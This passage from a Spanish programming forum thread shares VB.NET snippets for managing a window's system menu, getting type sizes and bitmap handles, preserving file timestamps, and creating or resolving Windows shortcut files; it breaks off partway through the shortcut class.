Quiero compartir con ustedes este SystemMenu Manager, como su nombre indica, es un ayudante para manejar el SystemMenu, le añadi infinidad de métodos y el uso de eventos para manejar de forma sencilla los items que agreguemos... además lo he documentado todo muy bien, aunque me he dejado bastantes comentarios XML (es bastante tedioso), a pesar de las 1.600 lineas de código, aun le faltaría añadir bastantes métodos más, pero bueno, por el momento así está muy bien, espero que lo disfruten.


Unas imágenes:

(http://img24.imageshack.us/img24/1007/2a8d.png)     (http://img59.imageshack.us/img59/6943/cg88.png)

(http://img708.imageshack.us/img708/5936/tu5f.png)     (http://img18.imageshack.us/img18/5664/sk6g.png)

(http://img577.imageshack.us/img577/3866/72s0.png)


Un ejemplo de uso:

( Nótese que todos los métodos tienen su overload para utilizar una posición de item en lugar de un item predefinido. )

Código
  1. Public Class Form1
  2.  
  3.     Private WithEvents SystemMenu As New SystemMenuManager(Me)
  4.  
  5.     Private Shadows Sub Shown() Handles MyBase.Shown
  6.  
  7.        ' Gets the total amount of menu items.
  8.        ' MsgBox(SystemMenu.GetItemCount())
  9.  
  10.        ' Sets the menu background color.
  11.         SystemMenu.SetMenuBackColor(Color.Teal)
  12.  
  13.        ' Sets the menu style.
  14.        ' SystemMenu.SetMenuStyle(SystemMenuManager.MenuStyle.AUTODISMIS)
  15.  
  16.        ' Sets the state of the Close button and menu item.
  17.        ' SystemMenu.SetItemState(SystemMenuManager.Item.Close, SystemMenuManager.ItemState.Disabled)
  18.  
  19.        ' Sets the Bitmap image of the Move menu item.
  20.        ' SystemMenu.SetItemBitmap(SystemMenuManager.Item.Move, New Bitmap("C:\File.png"))
  21.  
  22.        ' Gets the Bitmap image of the Move menu item.
  23.        ' Dim bmp As Bitmap = SystemMenu.GetItemBitmap(SystemMenuManager.Item.Move)
  24.  
  25.        ' Removes the Bitmap image of the Move menu item.
  26.        ' SystemMenu.RemoveItemBitmap(SystemMenuManager.Item.Move)
  27.  
  28.        ' Adds a separator at the bottom.
  29.         SystemMenu.AddSeparator(SystemMenuManager.DefaultPositions.Last)
  30.  
  31.        ' Adds an item at the bottom.
  32.         SystemMenu.AddItem("Hello World!", 666, SystemMenuManager.DefaultPositions.Last)
  33.  
  34.        ' Gets the ID of an item.
  35.        ' MsgBox(SystemMenu.GetItemState(SystemMenuManager.Item.Move).ToString)
  36.  
  37.        ' Gets the text of an item.
  38.        ' MsgBox(SystemMenu.GetItemText(SystemMenuManager.Item.Move))
  39.  
  40.        ' Gets the state of an item.
  41.        ' MsgBox(SystemMenu.GetItemState(SystemMenuManager.Item.Move).ToString)
  42.  
  43.        ' Sets the text of an item.
  44.        ' SystemMenu.SetItemText(SystemMenuManager.Item.Move, "Muéveme")
  45.  
  46.        ' Checks if a handle is a menu handle.
  47.        ' MsgBox(SystemMenu.IsMenuHandle(IntPtr.Zero))
  48.  
  49.        ' Disable all the menu items.
  50.        ' SystemMenu.DisableAllItems()
  51.  
  52.        ' Re-enable all the menu items.
  53.        ' SystemMenu.EnableAllItems()
  54.  
  55.        ' Remove all the menu items.
  56.        ' SystemMenu.RemoveAllItems()
  57.  
  58.        ' Restore the menu to defaults.
  59.        '  SystemMenu.Restore_Menu()
  60.  
  61.        ' Dispose the SystemMenuManager Object.
  62.        ' SystemMenu.Dispose()
  63.  
  64. End Sub
  65.  
  66.         ' SystemMenu [MenuItemClicked]
  67.        Private Sub SystemMenu_MenuItemClicked(
  68.                ByVal MenuHandle As IntPtr,
  69.                ByVal e As SystemMenuManager.ItemClickedEventArgs
  70.        ) Handles SystemMenu.ItemClicked
  71.  
  72.            Dim sr As New System.Text.StringBuilder
  73.  
  74.            sr.AppendLine(String.Format("Item ID   : {0}", CStr(e.ID)))
  75.            sr.AppendLine(String.Format("Item Text : {0}", e.Text))
  76.            sr.AppendLine(String.Format("Item Type : {0}", e.Type.ToString))
  77.            sr.AppendLine(String.Format("Item State: {0}", e.State.ToString))
  78.  
  79.            MessageBox.Show(sr.ToString, "SystemMenuManager", MessageBoxButtons.OK, MessageBoxIcon.Information)
  80.  
  81.     End Sub
  82.  
  83. End Class


La Class la pueden ver en ESTE (http://pastebin.com/MKVkTjWz)enlace de pastebin (no cabe en este post).


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Noviembre 2013, 06:36 am
El equivalente al sizeof de C#:

Código
  1. #Region " SizeOf "
  2.  
  3.    ' [ SizeOf ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(SizeOf(1L))      ' Result: 8
  10.    ' MsgBox(SizeOf(Of Long)) ' Result: 8
  11.  
  12.    Public Function SizeOf(Of T)() As Integer
  13.  
  14.        Try
  15.            Return System.Runtime.InteropServices.Marshal.SizeOf(GetType(T))
  16.        Catch ex As ArgumentException
  17.            Return -1
  18.        End Try
  19.  
  20.    End Function
  21.  
  22.    Public Function SizeOf(ByVal [Object] As Object) As Integer
  23.  
  24.        Try
  25.            Return System.Runtime.InteropServices.Marshal.SizeOf([Object])
  26.        Catch ex As ArgumentNullException
  27.            Return -1
  28.        Catch ex As ArgumentException
  29.            Return -1
  30.        End Try
  31.  
  32.    End Function
  33.  
  34. #End Region





Una forma sencilla de obtener el HBitmap de una imagen no Bitmap (util para añadirlo a un módulo de extensiones)...

Código
  1.        Dim Hbitmap As IntPtr = CType(PictureBox1.Image, Bitmap).GetHbitmap()
  2.        PictureBox2.BackgroundImage = Image.FromHbitmap(Hbitmap)

Código
  1.    Private Function Get_Image_HBitmap(ByVal Image As Image) As IntPtr
  2.        Return CType(Image, Bitmap).GetHbitmap()
  3.    End Function


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Noviembre 2013, 14:43 pm
Un pequeño código para facilitar la tarea de preservar las fechas de un archivo, por ejemplo cuando se modifica el texto de un archivo, o cuando se convierte un archivo de audio (al mismo u otro formato).

El modo de empleo es muy sencillo:

Código
  1. FileDate.Action("C:\File.txt", FileDate.FileDateAction.Save)
  2. IO.File.AppendAllText("C:\File.txt", "Hello World!")
  3. FileDate.Action("C:\File.txt", FileDate.FileDateAction.Restore)

O bien:

Código
  1. FileDate.Action("C:\File.txt", FileDate.FileDateAction.Save, False)
  2. IO.File.AppendAllText("C:\File.txt", "Hello World!")
  3. IO.File.Move("C:\File.txt", "C:\File.log")
  4. FileDate.Action(New IO.FileInfo("C:\File.log"), FileDate.FileDateAction.Restore, False)



Código
  1. #Region " Preserve FileDate "
  2.  
  3. ' [ Preserve FileDate ]
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. ' Usage Examples:
  8.  
  9. ' // Example 1:
  10. '
  11. ' FileDate.Action("C:\File.txt", FileDate.FileDateAction.Save)
  12. ' IO.File.AppendAllText("C:\File.txt", "Hello World!")
  13. ' FileDate.Action("C:\File.txt", FileDate.FileDateAction.Restore)
  14.  
  15. ' // Example 2:
  16. '
  17. ' FileDate.Action("C:\File.txt", FileDate.FileDateAction.Save, False)
  18. ' IO.File.AppendAllText("C:\File.txt", "Hello World!")
  19. ' IO.File.Move("C:\File.txt", "C:\File.log")
  20. ' FileDate.Action(New IO.FileInfo("C:\File.log"), FileDate.FileDateAction.Restore, False)
  21.  
  22. Public Class FileDate
  23.  
  24.    ''' <summary>
  25.    ''' Collection that contains the files and their dates.
  26.    ''' </summary>
  27.    Private Shared FileDates As New Dictionary(Of String, Date())
  28.  
  29.    ''' <summary>
  30.    ''' Stores the File object.
  31.    ''' </summary>
  32.    Private Shared _File As IO.FileInfo
  33.  
  34.    ''' <summary>
  35.    ''' Stores the full path of the file
  36.    ''' </summary>
  37.    Private Shared FullPath As String
  38.  
  39.    ''' <summary>
  40.    ''' An action to take on file dates.
  41.    ''' </summary>
  42.    Public Enum FileDateAction As Short
  43.  
  44.        ''' <summary>
  45.        ''' Save file dates into filedates collection.
  46.        ''' </summary>
  47.        Save = 0
  48.  
  49.        ''' <summary>
  50.        ''' Restore file dates from filedates collection.
  51.        ''' </summary>
  52.        Restore = 1
  53.  
  54.        ''' <summary>
  55.        ''' Remove file dates from filedates collection,
  56.        ''' this don't removes the dates from file.
  57.        ''' </summary>
  58.        Remove = 2
  59.  
  60.        ''' <summary>
  61.        ''' Sets the file dates of specified file to "01/01/1800 00:00:00"
  62.        ''' </summary>
  63.        Truncate = 3
  64.  
  65.    End Enum
  66.  
  67.    ''' <summary>
  68.    ''' Performs an action on the dates of the specified file,
  69.    ''' Creation Date, LastAccess Date and LastWrite Date.
  70.    ''' </summary>
  71.    ''' <param name="File">
  72.    ''' The File.
  73.    ''' </param>
  74.    ''' <param name="Action">
  75.    ''' The action to take on file dates.
  76.    ''' </param>
  77.    ''' <param name="IncludeFileExtension">
  78.    ''' Specifies if that the filename extension should be included or not.
  79.    ''' Default value is <paramref name="True"/>.
  80.    ''' This parameter should be set to <paramref name="False"/>  when renaming files.
  81.    ''' </param>
  82.    Public Shared Sub Action(ByVal File As IO.FileInfo,
  83.                             ByVal Action As FileDateAction,
  84.                             Optional ByVal IncludeFileExtension As Boolean = True)
  85.  
  86.        _File = File
  87.        DoFileDateAction(_File, Action, IncludeFileExtension)
  88.  
  89.    End Sub
  90.  
  91.    ''' <summary>
  92.    ''' Performs an action on the dates of the specified file,
  93.    ''' Creation Date, LastAccess Date and LastWrite Date.
  94.    ''' </summary>
  95.    ''' <param name="File">
  96.    ''' The File.
  97.    ''' </param>
  98.    ''' <param name="Action">
  99.    ''' The action to take on file dates.
  100.    ''' </param>
  101.    ''' <param name="IncludeFileExtension">
  102.    ''' Specifies if that the filename extension should be included or not.
  103.    ''' Default value is <paramref name="True"/>.
  104.    ''' This parameter should be set to <paramref name="False"/> when renaming files.
  105.    ''' </param>
  106.    Public Shared Sub Action(ByVal File As String,
  107.                             ByVal Action As FileDateAction,
  108.                             Optional ByVal IncludeFileExtension As Boolean = True)
  109.  
  110.        _File = New IO.FileInfo(File)
  111.        DoFileDateAction(_File, Action, IncludeFileExtension)
  112.  
  113.    End Sub
  114.  
  115.    ''' <summary>
  116.    ''' Clears all the dates stored in the filedates collection.
  117.    ''' </summary>
  118.    Public Shared Sub ClearFileDateCollection()
  119.        FileDates.Clear()
  120.    End Sub
  121.  
  122.    ''' <summary>
  123.    ''' Perform an action to take on file dates.
  124.    ''' </summary>
  125.    Private Shared Sub DoFileDateAction(ByVal File As IO.FileInfo,
  126.                                        ByVal Action As FileDateAction,
  127.                                        ByVal IncludeFileExtension As Boolean)
  128.  
  129.        FullPath = If(IncludeFileExtension,
  130.                      File.FullName,
  131.                      If(File.Name.Contains("."),
  132.                         File.FullName.Substring(0, File.FullName.LastIndexOf(".")),
  133.                         File.FullName))
  134.  
  135.        HandleErrors(Action)
  136.  
  137.        Select Case Action
  138.  
  139.            Case FileDateAction.Save
  140.  
  141.                FileDates.Add(FullPath,
  142.                             {File.CreationTime, File.LastAccessTime, File.LastWriteTime})
  143.  
  144.            Case FileDateAction.Restore
  145.  
  146.                File.CreationTime = FileDates(FullPath).First
  147.                File.LastAccessTime = FileDates(FullPath)(1)
  148.                File.LastWriteTime = FileDates(FullPath).Last
  149.  
  150.                FileDates.Remove(FullPath)
  151.  
  152.            Case FileDateAction.Remove
  153.  
  154.                FileDates.Remove(FullPath)
  155.  
  156.            Case FileDateAction.Truncate
  157.                File.CreationTime = "01/01/1800 00:00:00"
  158.                File.LastAccessTime = "01/01/1800 00:00:00"
  159.                File.LastWriteTime = "01/01/1800 00:00:00"
  160.  
  161.        End Select
  162.  
  163.    End Sub
  164.  
  165.    ''' <summary>
  166.    ''' Simple Error Handling.
  167.    ''' </summary>
  168.    Private Shared Sub HandleErrors(ByVal Action As FileDateAction)
  169.  
  170.        Select Case Action
  171.  
  172.            Case FileDateAction.Save
  173.  
  174.                If FileDates.ContainsKey(FullPath) Then
  175.                    Throw New Exception("File already exist in collection.")
  176.                End If
  177.  
  178.            Case FileDateAction.Restore, FileDateAction.Remove
  179.  
  180.                If Not FileDates.ContainsKey(FullPath) Then
  181.                    Throw New Exception("File not found in collection.")
  182.                End If
  183.  
  184.        End Select
  185.  
  186.  
  187.    End Sub
  188.  
  189. End Class
  190.  
  191. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Noviembre 2013, 20:04 pm
Mi implementación de la librería MediaInfo.dll en VBNET: http://pastebin.com/XGUwW8hQ



Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Noviembre 2013, 20:13 pm
Shortcut Manager

Resuelve el target de shortcut "corrupto", crea un nuevo shortcut u obtiene información de un shortcut.

Código
  1. Imports System.Runtime.InteropServices
  2. Imports System.Text
  3. Imports System.IO
  4.  
  5. #Region " ShortcutManager "
  6.  
  7. ' [ ShortcutManager ]
  8. '
  9. ' // By Elektro H@cker
  10.  
  11. #Region " Usage Examples "
  12.  
  13. 'Private Sub Test()
  14.  
  15. '    ' Tries to resolve a shortcut which has changed their Target location.
  16. '    ShortcutManager.Resolve_Ui("C:\Truncated Shortcut.lnk", New IntPtr(1))
  17. '    ShortcutManager.Resolve_NoUi("C:\Truncated Shortcut.lnk")
  18.  
  19. '    ' Creates a new Shortcut file
  20. '    ShortcutManager.Create("C:\Shortcut.lnk",
  21. '                           "C:\TargetFile.ext",
  22. '                           "C:\",
  23. '                           "Description",
  24. '                           "-Arguments",
  25. '                           "C:\Icon.ico", 0,
  26. '                           ShortcutManager.HotkeyModifiers.ALT Or ShortcutManager.HotkeyModifiers.CONTROL,
  27. '                           Keys.F1,
  28. '                           ShortcutManager.ShortcutWindowState.Normal)
  29.  
  30. '    ' Gets Shortcut file information
  31. '    Dim ShortcutInfo As ShortcutManager.ShortcutInfo =
  32. '        ShortcutManager.GetInfo("C:\Shortcut.lnk")
  33.  
  34. '    Dim sb As New System.Text.StringBuilder
  35.  
  36. '    With ShortcutInfo
  37.  
  38. '        sb.AppendLine(String.Format(" ""{0}"" ", .ShortcutFile))
  39. '        sb.AppendLine(String.Format("------------------------"))
  40. '        sb.AppendLine(String.Format("Description: {0}", .Description))
  41. '        sb.AppendLine(String.Format("Target: {0}", .Target))
  42. '        sb.AppendLine(String.Format("Arguments: {0}", .Arguments))
  43. '        sb.AppendLine(String.Format("Target Is Directory?: {0}", CStr(.IsDirectory)))
  44. '        sb.AppendLine(String.Format("Target Is File?: {0}", CStr(.IsFile)))
  45. '        sb.AppendLine(String.Format("WorkingDir: {0}", .WorkingDir))
  46. '        sb.AppendLine(String.Format("DirectoryName: {0}", .DirectoryName))
  47. '        sb.AppendLine(String.Format("FileName: {0}", .FileName))
  48. '        sb.AppendLine(String.Format("FileExtension: {0}", .FileExtension))
  49. '        sb.AppendLine(String.Format("DriveLetter: {0}", .DriveLetter))
  50. '        sb.AppendLine(String.Format("Icon: {0}", .Icon))
  51. '        sb.AppendLine(String.Format("Icon Index: {0}", CStr(.IconIndex)))
  52. '        sb.AppendLine(String.Format("Hotkey (Hex): {0}", CStr(.Hotkey)))
  53. '        sb.AppendLine(String.Format("Hotkey (Str): {0} + {1}", .Hotkey_Modifier.ToString, .Hotkey_Key.ToString))
  54. '        sb.AppendLine(String.Format("Window State: {0}", .WindowState.ToString))
  55.  
  56. '    End With
  57.  
  58. '    MsgBox(sb.ToString)
  59.  
  60. 'End Sub
  61.  
  62. #End Region
  63.  
  64. Public Class ShortcutManager
  65.  
  66. #Region " Variables "
  67.  
  68.    Private Shared lnk As New ShellLink()
  69.    Private Shared lnk_data As New WIN32_FIND_DATAW()
  70.  
  71.    Private Shared lnk_arguments As New StringBuilder(260)
  72.    Private Shared lnk_description As New StringBuilder(260)
  73.    Private Shared lnk_target As New StringBuilder(260)
  74.    Private Shared lnk_workingdir As New StringBuilder(260)
  75.    Private Shared lnk_iconpath As New StringBuilder(260)
  76.    Private Shared lnk_iconindex As Integer = -1
  77.    Private Shared lnk_hotkey As Short = -1
  78.    Private Shared lnk_windowstate As ShortcutWindowState = ShortcutWindowState.Normal
  79.  
  80. #End Region
  81.  
  82. #Region " API, Interfaces, Enumerations "
  83.  
  84.    <DllImport("shfolder.dll",
  85.    CharSet:=CharSet.Auto)>
  86.    Friend Shared Function SHGetFolderPath(ByVal hwndOwner As IntPtr,
  87.                                           ByVal nFolder As Integer,
  88.                                           ByVal hToken As IntPtr,
  89.                                           ByVal dwFlags As Integer,
  90.                                           ByVal lpszPath As StringBuilder
  91.    ) As Integer
  92.    End Function
  93.  
  94.    <Flags()>
  95.    Private Enum SLGP_FLAGS
  96.  
  97.        ''' <summary>
  98.        ''' Retrieves the standard short (8.3 format) file name.
  99.        ''' </summary>
  100.        SLGP_SHORTPATH = &H1
  101.  
  102.        ''' <summary>
  103.        ''' Retrieves the Universal Naming Convention (UNC) path name of the file.
  104.        ''' </summary>
  105.        SLGP_UNCPRIORITY = &H2
  106.  
  107.        ''' <summary>
  108.        ''' Retrieves the raw path name.
  109.        ''' A raw path is something that might not exist and may include environment variables that need to be expanded.
  110.        ''' </summary>
  111.        SLGP_RAWPATH = &H4
  112.  
  113.    End Enum
  114.  
  115.    <Flags()>
  116.    Private Enum SLR_FLAGS
  117.  
  118.        ''' <summary>
  119.        ''' Do not display a dialog box if the link cannot be resolved. When SLR_NO_UI is set,
  120.        ''' the high-order word of fFlags can be set to a time-out value that specifies the
  121.        ''' maximum amount of time to be spent resolving the link. The function returns if the
  122.        ''' link cannot be resolved within the time-out duration. If the high-order word is set
  123.        ''' to zero, the time-out duration will be set to the default value of 3,000 milliseconds
  124.        ''' (3 seconds). To specify a value, set the high word of fFlags to the desired time-out
  125.        ''' duration, in milliseconds.
  126.        ''' </summary>
  127.        SLR_NO_UI = &H1
  128.  
  129.        ''' <summary>
  130.        ''' If the link object has changed, update its path and list of identifiers.
  131.        ''' If SLR_UPDATE is set, you do not need to call IPersistFile::IsDirty to determine,
  132.        ''' whether or not the link object has changed.
  133.        ''' </summary>
  134.        SLR_UPDATE = &H4
  135.  
  136.        ''' <summary>
  137.        ''' Do not update the link information
  138.        ''' </summary>
  139.        SLR_NOUPDATE = &H8
  140.  
  141.        ''' <summary>
  142.        ''' Do not execute the search heuristics
  143.        ''' </summary>
  144.        SLR_NOSEARCH = &H10
  145.  
  146.        ''' <summary>
  147.        ''' Do not use distributed link tracking
  148.        ''' </summary>
  149.        SLR_NOTRACK = &H20
  150.  
  151.        ''' <summary>
  152.        ''' Disable distributed link tracking.
  153.        ''' By default, distributed link tracking tracks removable media,
  154.        ''' across multiple devices based on the volume name.
  155.        ''' It also uses the Universal Naming Convention (UNC) path to track remote file systems,
  156.        ''' whose drive letter has changed.
  157.        ''' Setting SLR_NOLINKINFO disables both types of tracking.
  158.        ''' </summary>
  159.        SLR_NOLINKINFO = &H40
  160.  
  161.        ''' <summary>
  162.        ''' Call the Microsoft Windows Installer
  163.        ''' </summary>
  164.        SLR_INVOKE_MSI = &H80
  165.  
  166.    End Enum
  167.  
  168.    ''' <summary>
  169.    ''' Stores information about a shortcut file.
  170.    ''' </summary>
  171.    Public Class ShortcutInfo
  172.  
  173.        ''' <summary>
  174.        ''' Shortcut file full path.
  175.        ''' </summary>
  176.        Public Property ShortcutFile As String
  177.  
  178.        ''' <summary>
  179.        ''' Shortcut Comment/Description.
  180.        ''' </summary>
  181.        Public Property Description As String
  182.  
  183.        ''' <summary>
  184.        ''' Shortcut Target Arguments.
  185.        ''' </summary>
  186.        Public Property Arguments As String
  187.  
  188.        ''' <summary>
  189.        ''' Shortcut Target.
  190.        ''' </summary>
  191.        Public Property Target As String
  192.  
  193.        ''' <summary>
  194.        ''' Shortcut Working Directory.
  195.        ''' </summary>
  196.        Public Property WorkingDir As String
  197.  
  198.        ''' <summary>
  199.        ''' Shortcut Icon Location.
  200.        ''' </summary>
  201.        Public Property Icon As String
  202.  
  203.        ''' <summary>
  204.        ''' Shortcut Icon Index.
  205.        ''' </summary>
  206.        Public Property IconIndex As Integer
  207.  
  208.        ''' <summary>
  209.        ''' Shortcut Hotkey combination.
  210.        ''' Is represented as Hexadecimal.
  211.        ''' </summary>
  212.        Public Property Hotkey As Short
  213.  
  214.        ''' <summary>
  215.        ''' Shortcut Hotkey modifiers.
  216.        ''' </summary>
  217.        Public Property Hotkey_Modifier As HotkeyModifiers
  218.  
  219.        ''' <summary>
  220.        ''' Shortcut Hotkey Combination.
  221.        ''' </summary>
  222.        Public Property Hotkey_Key As Keys
  223.  
  224.        ''' <summary>
  225.        ''' Shortcut Window State.
  226.        ''' </summary>
  227.        Public Property WindowState As ShortcutWindowState
  228.  
  229.        ''' <summary>
  230.        ''' Indicates if the target is a file.
  231.        ''' </summary>
  232.        Public Property IsFile As Boolean
  233.  
  234.        ''' <summary>
  235.        ''' Indicates if the target is a directory.
  236.        ''' </summary>
  237.        Public Property IsDirectory As Boolean
  238.  
  239.        ''' <summary>
  240.        ''' Shortcut target drive letter.
  241.        ''' </summary>
  242.        Public Property DriveLetter As String
  243.  
  244.        ''' <summary>
  245.        ''' Shortcut target directory name.
  246.        ''' </summary>
  247.        Public Property DirectoryName As String
  248.  
  249.        ''' <summary>
  250.        ''' Shortcut target filename.
  251.        ''' (File extension is not included in name)
  252.        ''' </summary>
  253.        Public Property FileName As String
  254.  
  255.        ''' <summary>
  256.        ''' Shortcut target file extension.
  257.        ''' </summary>
  258.        Public Property FileExtension As String
  259.  
  260.    End Class
  261.  
  262.    ''' <summary>
  263.    ''' Hotkey modifiers for a shortcut file.
  264.    ''' </summary>
  265.    <FlagsAttribute()>
  266.    Public Enum HotkeyModifiers As Short
  267.  
  268.        ''' <summary>
  269.        ''' The SHIFT key.
  270.        ''' </summary>
  271.        SHIFT = 1
  272.  
  273.        ''' <summary>
  274.        ''' The CTRL key.
  275.        ''' </summary>
  276.        CONTROL = 2
  277.  
  278.        ''' <summary>
  279.        ''' The ALT key.
  280.        ''' </summary>
  281.        ALT = 4
  282.  
  283.        ''' <summary>
  284.        ''' None.
  285.        ''' Specifies any hotkey modificator.
  286.        ''' </summary>
  287.        NONE = 0
  288.  
  289.    End Enum
  290.  
  291.    ''' <summary>
  292.    ''' The Window States for a shortcut file.
  293.    ''' </summary>
  294.    Public Enum ShortcutWindowState As Integer
  295.  
  296.        ''' <summary>
  297.        ''' Shortcut Window is at normal state.
  298.        ''' </summary>
  299.        Normal = 1
  300.  
  301.        ''' <summary>
  302.        ''' Shortcut Window is Maximized.
  303.        ''' </summary>
  304.        Maximized = 3
  305.  
  306.        ''' <summary>
  307.        ''' Shortcut Window is Minimized.
  308.        ''' </summary>
  309.        Minimized = 7
  310.  
  311.    End Enum
  312.  
  313.    <StructLayout(LayoutKind.Sequential,
  314.    CharSet:=CharSet.Auto)>
  315.    Private Structure WIN32_FIND_DATAW
  316.        Public dwFileAttributes As UInteger
  317.        Public ftCreationTime As Long
  318.        Public ftLastAccessTime As Long
  319.        Public ftLastWriteTime As Long
  320.        Public nFileSizeHigh As UInteger
  321.        Public nFileSizeLow As UInteger
  322.        Public dwReserved0 As UInteger
  323.        Public dwReserved1 As UInteger
  324.        <MarshalAs(UnmanagedType.ByValTStr, SizeConst:=260)>
  325.        Public cFileName As String
  326.        <MarshalAs(UnmanagedType.ByValTStr, SizeConst:=14)>
  327.        Public cAlternateFileName As String
  328.    End Structure
  329.  
  330.    ''' <summary>
  331.    ''' The IShellLink interface allows Shell links to be created, modified, and resolved
  332.    ''' </summary>
  333.    <ComImport(),
  334.    InterfaceType(ComInterfaceType.InterfaceIsIUnknown),
  335.    Guid("000214F9-0000-0000-C000-000000000046")>
  336.    Private Interface IShellLinkW
  337.  
  338.        ''' <summary>
  339.        ''' Retrieves the path and file name of a Shell link object.
  340.        ''' </summary>
  341.        Sub GetPath(<Out(), MarshalAs(UnmanagedType.LPWStr)>
  342.                    ByVal pszFile As StringBuilder,
  343.                    ByVal cchMaxPath As Integer,
  344.                    ByRef pfd As WIN32_FIND_DATAW,
  345.                    ByVal fFlags As SLGP_FLAGS)
  346.  
  347.        ''' <summary>
  348.        ''' Retrieves the list of item identifiers for a Shell link object.
  349.        ''' </summary>
  350.        Sub GetIDList(ByRef ppidl As IntPtr)
  351.  
  352.        ''' <summary>
  353.        ''' Sets the pointer to an item identifier list (PIDL) for a Shell link object.
  354.        ''' </summary>
  355.        Sub SetIDList(ByVal pidl As IntPtr)
  356.  
  357.        ''' <summary>
  358.        ''' Retrieves the description string for a Shell link object.
  359.        ''' </summary>
  360.        Sub GetDescription(<Out(), MarshalAs(UnmanagedType.LPWStr)>
  361.                           ByVal pszName As StringBuilder,
  362.                           ByVal cchMaxName As Integer)
  363.  
  364.        ''' <summary>
  365.        ''' Sets the description for a Shell link object.
  366.        ''' The description can be any application-defined string.
  367.        ''' </summary>
  368.        Sub SetDescription(<MarshalAs(UnmanagedType.LPWStr)>
  369.                           ByVal pszName As String)
  370.  
  371.        ''' <summary>
  372.        ''' Retrieves the name of the working directory for a Shell link object.
  373.        ''' </summary>
  374.        Sub GetWorkingDirectory(<Out(), MarshalAs(UnmanagedType.LPWStr)>
  375.                                ByVal pszDir As StringBuilder,
  376.                                ByVal cchMaxPath As Integer)
  377.  
  378.        ''' <summary>
  379.        ''' Sets the name of the working directory for a Shell link object.
  380.        ''' </summary>
  381.        Sub SetWorkingDirectory(<MarshalAs(UnmanagedType.LPWStr)>
  382.                                ByVal pszDir As String)
  383.  
  384.        ''' <summary>
  385.        ''' Retrieves the command-line arguments associated with a Shell link object.
  386.        ''' </summary>
  387.        Sub GetArguments(<Out(), MarshalAs(UnmanagedType.LPWStr)>
  388.                         ByVal pszArgs As StringBuilder,
  389.                         ByVal cchMaxPath As Integer)
  390.  
  391.        ''' <summary>
  392.        ''' Sets the command-line arguments for a Shell link object.
  393.        ''' </summary>
  394.        Sub SetArguments(<MarshalAs(UnmanagedType.LPWStr)>
  395.                         ByVal pszArgs As String)
  396.  
  397.        ''' <summary>
  398.        ''' Retrieves the hot key for a Shell link object.
  399.        ''' </summary>
  400.        Sub GetHotkey(ByRef pwHotkey As Short)
  401.  
  402.        ''' <summary>
  403.        ''' Sets a hot key for a Shell link object.
  404.        ''' </summary>
  405.        Sub SetHotkey(ByVal wHotkey As Short)
  406.  
  407.        ''' <summary>
  408.        ''' Retrieves the show command for a Shell link object.
  409.        ''' </summary>
  410.        Sub GetShowCmd(ByRef piShowCmd As Integer)
  411.  
  412.        ''' <summary>
  413.        ''' Sets the show command for a Shell link object.
  414.        ''' The show command sets the initial show state of the window.
  415.        ''' </summary>
  416.        Sub SetShowCmd(ByVal iShowCmd As ShortcutWindowState)
  417.  
  418.        ''' <summary>
  419.        ''' Retrieves the location (path and index) of the icon for a Shell link object.
  420.        ''' </summary>
  421.        Sub GetIconLocation(<Out(), MarshalAs(UnmanagedType.LPWStr)>
  422.                            ByVal pszIconPath As StringBuilder,
  423.                            ByVal cchIconPath As Integer,
  424.                            ByRef piIcon As Integer)
  425.  
  426.        ''' <summary>
  427.        ''' Sets the location (path and index) of the icon for a Shell link object.
  428.        ''' </summary>
  429.        Sub SetIconLocation(<MarshalAs(UnmanagedType.LPWStr)>
  430.                            ByVal pszIconPath As String,
  431.                            ByVal iIcon As Integer)
  432.  
  433.        ''' <summary>
  434.        ''' Sets the relative path to the Shell link object.
  435.        ''' </summary>
  436.        Sub SetRelativePath(<MarshalAs(UnmanagedType.LPWStr)>
  437.                            ByVal pszPathRel As String,
  438.                            ByVal dwReserved As Integer)
  439.  
  440.        ''' <summary>
  441.        ''' Attempts to find the target of a Shell link,
  442.        ''' even if it has been moved or renamed.
  443.        ''' </summary>
  444.        Sub Resolve(ByVal hwnd As IntPtr,
  445.                    ByVal fFlags As SLR_FLAGS)
  446.  
  447.        ''' <summary>
  448.        ''' Sets the path and file name of a Shell link object
  449.        ''' </summary>
  450.        Sub SetPath(ByVal pszFile As String)
  451.  
  452.    End Interface
  453.  
  454.    <ComImport(), Guid("0000010c-0000-0000-c000-000000000046"),
  455.    InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
  456.    Public Interface IPersist
  457.  
  458.        <PreserveSig()>
  459.        Sub GetClassID(ByRef pClassID As Guid)
  460.  
  461.    End Interface
  462.  
  463.    <ComImport(), Guid("0000010b-0000-0000-C000-000000000046"),
  464.    InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
  465.    Public Interface IPersistFile
  466.        Inherits IPersist
  467.  
  468.        Shadows Sub GetClassID(ByRef pClassID As Guid)
  469.  
  470.        <PreserveSig()>
  471.        Function IsDirty() As Integer
  472.  
  473.        <PreserveSig()>
  474.        Sub Load(<[In](), MarshalAs(UnmanagedType.LPWStr)>
  475.                 pszFileName As String,
  476.                 dwMode As UInteger)
  477.  
  478.        <PreserveSig()>
  479.        Sub Save(<[In](), MarshalAs(UnmanagedType.LPWStr)>
  480.                 pszFileName As String,
  481.                 <[In](), MarshalAs(UnmanagedType.Bool)>
  482.                 fRemember As Boolean)
  483.  
  484.        <PreserveSig()>
  485.        Sub SaveCompleted(<[In](), MarshalAs(UnmanagedType.LPWStr)>
  486.                          pszFileName As String)
  487.  
  488.        <PreserveSig()>
  489.        Sub GetCurFile(<[In](), MarshalAs(UnmanagedType.LPWStr)>
  490.                       ppszFileName As String)
  491.  
  492.    End Interface
  493.  
  494.    ' "CLSID_ShellLink" from "ShlGuid.h"
  495.    <ComImport(),
  496.    Guid("00021401-0000-0000-C000-000000000046")>
  497.    Public Class ShellLink
  498.    End Class
  499.  
  500. #End Region
  501.  
  502. #Region " Public Methods "
  503.  
  504.    ''' <summary>
  505.    ''' Resolves the target of a shortcut.
  506.    ''' If shortcut can't be resolved, an error message would be displayed.
  507.    ''' This is usefull when the target path of a shortcut file is changed from a driveletter for example,
  508.    ''' then the shortcut file need to be resolved before trying to retrieve the target path.
